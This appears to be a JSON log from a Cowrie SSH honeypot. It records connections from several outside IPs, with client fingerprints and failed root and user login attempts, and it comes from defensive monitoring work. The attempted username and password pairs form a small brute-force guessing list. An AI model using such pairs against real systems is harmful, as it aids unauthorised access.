{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:31.303536Z","src_ip":"14.63.196.175","session":"278cdf3521d1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"testing123456","message":"login attempt [root/testing123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:32.123133Z","src_ip":"14.63.196.175","session":"278cdf3521d1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:33.322630Z","src_ip":"14.63.196.175","session":"278cdf3521d1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":61895,"dst_ip":"10.17.0.5","dst_port":22,"session":"3e323512a724","protocol":"ssh","message":"New connection: 95.90.13.168:61895 (10.17.0.5:22) [session: 3e323512a724]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:40.345130Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:40.353726Z","src_ip":"95.90.13.168","session":"3e323512a724","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:40.466490Z","src_ip":"95.90.13.168","session":"3e323512a724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"captain","message":"login attempt [root/captain] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:40.942333Z","src_ip":"95.90.13.168","session":"3e323512a724","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:42.054992Z","src_ip":"95.90.13.168","session":"3e323512a724","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"user123456","message":"login attempt [user/user123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:46.073428Z","src_ip":"8.218.166.49","session":"33f5afd33c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"24.4","message":"Connection lost after 24.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:47.283752Z","src_ip":"8.218.166.49","session":"33f5afd33c90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":42496,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8c3fe29e19c","protocol":"ssh","message":"New connection: 8.218.166.49:42496 (10.17.0.5:22) [session: f8c3fe29e19c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:51.134613Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:51.139592Z","src_ip":"8.218.166.49","session":"f8c3fe29e19c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"182.180.57.212","src_port":53662,"dst_ip":"10.17.0.5","dst_port":22,"session":"35aa204107ac","protocol":"ssh","message":"New connection: 182.180.57.212:53662 (10.17.0.5:22) [session: 35aa204107ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:55.518686Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:55.524500Z","src_ip":"182.180.57.212","session":"35aa204107ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:55.752487Z","src_ip":"182.180.57.212","session":"35aa204107ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"spade","message":"login attempt [root/spade] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:56.690774Z","src_ip":"182.180.57.212","session":"35aa204107ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:57.922165Z","src_ip":"182.180.57.212","session":"35aa204107ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":47746,"dst_ip":"10.17.0.5","dst_port":22,"session":"d097a9a4bb30","protocol":"ssh","message":"New connection: 8.218.166.49:47746 (10.17.0.5:22) [session: d097a9a4bb30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:59.609150Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:17:59.613626Z","src_ip":"8.218.166.49","session":"d097a9a4bb30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"68.183.178.130","src_port":33252,"dst_ip":"10.17.0.5","dst_port":22,"session":"ad5d10ab9eb3","protocol":"ssh","message":"New connection: 68.183.178.130:33252 (10.17.0.5:22) [session: ad5d10ab9eb3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:00.189565Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:00.194173Z","src_ip":"68.183.178.130","session":"ad5d10ab9eb3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:00.432598Z","src_ip":"68.183.178.130","session":"ad5d10ab9eb3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"git123","message":"login attempt [root/git123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:01.415925Z","src_ip":"68.183.178.130","session":"ad5d10ab9eb3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:02.658546Z","src_ip":"68.183.178.130","session":"ad5d10ab9eb3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":40546,"dst_ip":"10.17.0.5","dst_port":22,"session":"052f223991a5","protocol":"ssh","message":"New connection: 8.218.166.49:40546 (10.17.0.5:22) [session: 052f223991a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:06.469663Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:06.474869Z","src_ip":"8.218.166.49","session":"052f223991a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"104.28.227.186","src_port":39237,"dst_ip":"10.17.0.5","dst_port":22,"session":"5e2d1d4aa386","protocol":"ssh","message":"New connection: 104.28.227.186:39237 (10.17.0.5:22) [session: 5e2d1d4aa386]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:07.230517Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:07.234625Z","src_ip":"104.28.227.186","session":"5e2d1d4aa386","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:07.358322Z","src_ip":"104.28.227.186","session":"5e2d1d4aa386","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:07.761970Z","src_ip":"104.28.227.186","session":"5e2d1d4aa386","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:08.875554Z","src_ip":"104.28.227.186","session":"5e2d1d4aa386","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.23.150.42","src_port":52606,"dst_ip":"10.17.0.5","dst_port":22,"session":"841b06a480ab","protocol":"ssh","message":"New connection: 198.23.150.42:52606 (10.17.0.5:22) [session: 841b06a480ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:14.370405Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:14.374820Z","src_ip":"198.23.150.42","session":"841b06a480ab","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:14.391671Z","src_ip":"198.23.150.42","session":"841b06a480ab","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"aqwzsx","message":"login attempt [root/aqwzsx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:14.490464Z","src_ip":"198.23.150.42","session":"841b06a480ab","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:15.521149Z","src_ip":"198.23.150.42","session":"841b06a480ab","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"95.90.13.168","src_port":59835,"dst_ip":"10.17.0.5","dst_port":22,"session":"09d59a07f9d6","protocol":"ssh","message":"New connection: 95.90.13.168:59835 (10.17.0.5:22) [session: 09d59a07f9d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:19.775441Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:19.783678Z","src_ip":"95.90.13.168","session":"09d59a07f9d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:19.916889Z","src_ip":"95.90.13.168","session":"09d59a07f9d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"zhxnephu","password":"zXXUKpvydMqzp1quBItn","message":"login attempt [zhxnephu/zXXUKpvydMqzp1quBItn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:20.338614Z","src_ip":"95.90.13.168","session":"09d59a07f9d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:21.454189Z","src_ip":"95.90.13.168","session":"09d59a07f9d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"49.207.40.162","src_port":36020,"dst_ip":"10.17.0.5","dst_port":22,"session":"d527c5672829","protocol":"ssh","message":"New connection: 49.207.40.162:36020 (10.17.0.5:22) [session: d527c5672829]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:25.738751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:25.744079Z","src_ip":"49.207.40.162","session":"d527c5672829","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:25.960880Z","src_ip":"49.207.40.162","session":"d527c5672829","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"8.218.166.49","src_port":51400,"dst_ip":"10.17.0.5","dst_port":22,"session":"d669556dfbc4","protocol":"ssh","message":"New connection: 8.218.166.49:51400 (10.17.0.5:22) [session: d669556dfbc4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:26.741745Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"ec2-user","message":"login attempt [root/ec2-user] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T13:18:26.859972Z","src_ip":"49.207.40.162","session":"d527c5672829","protocol":"ssh"}
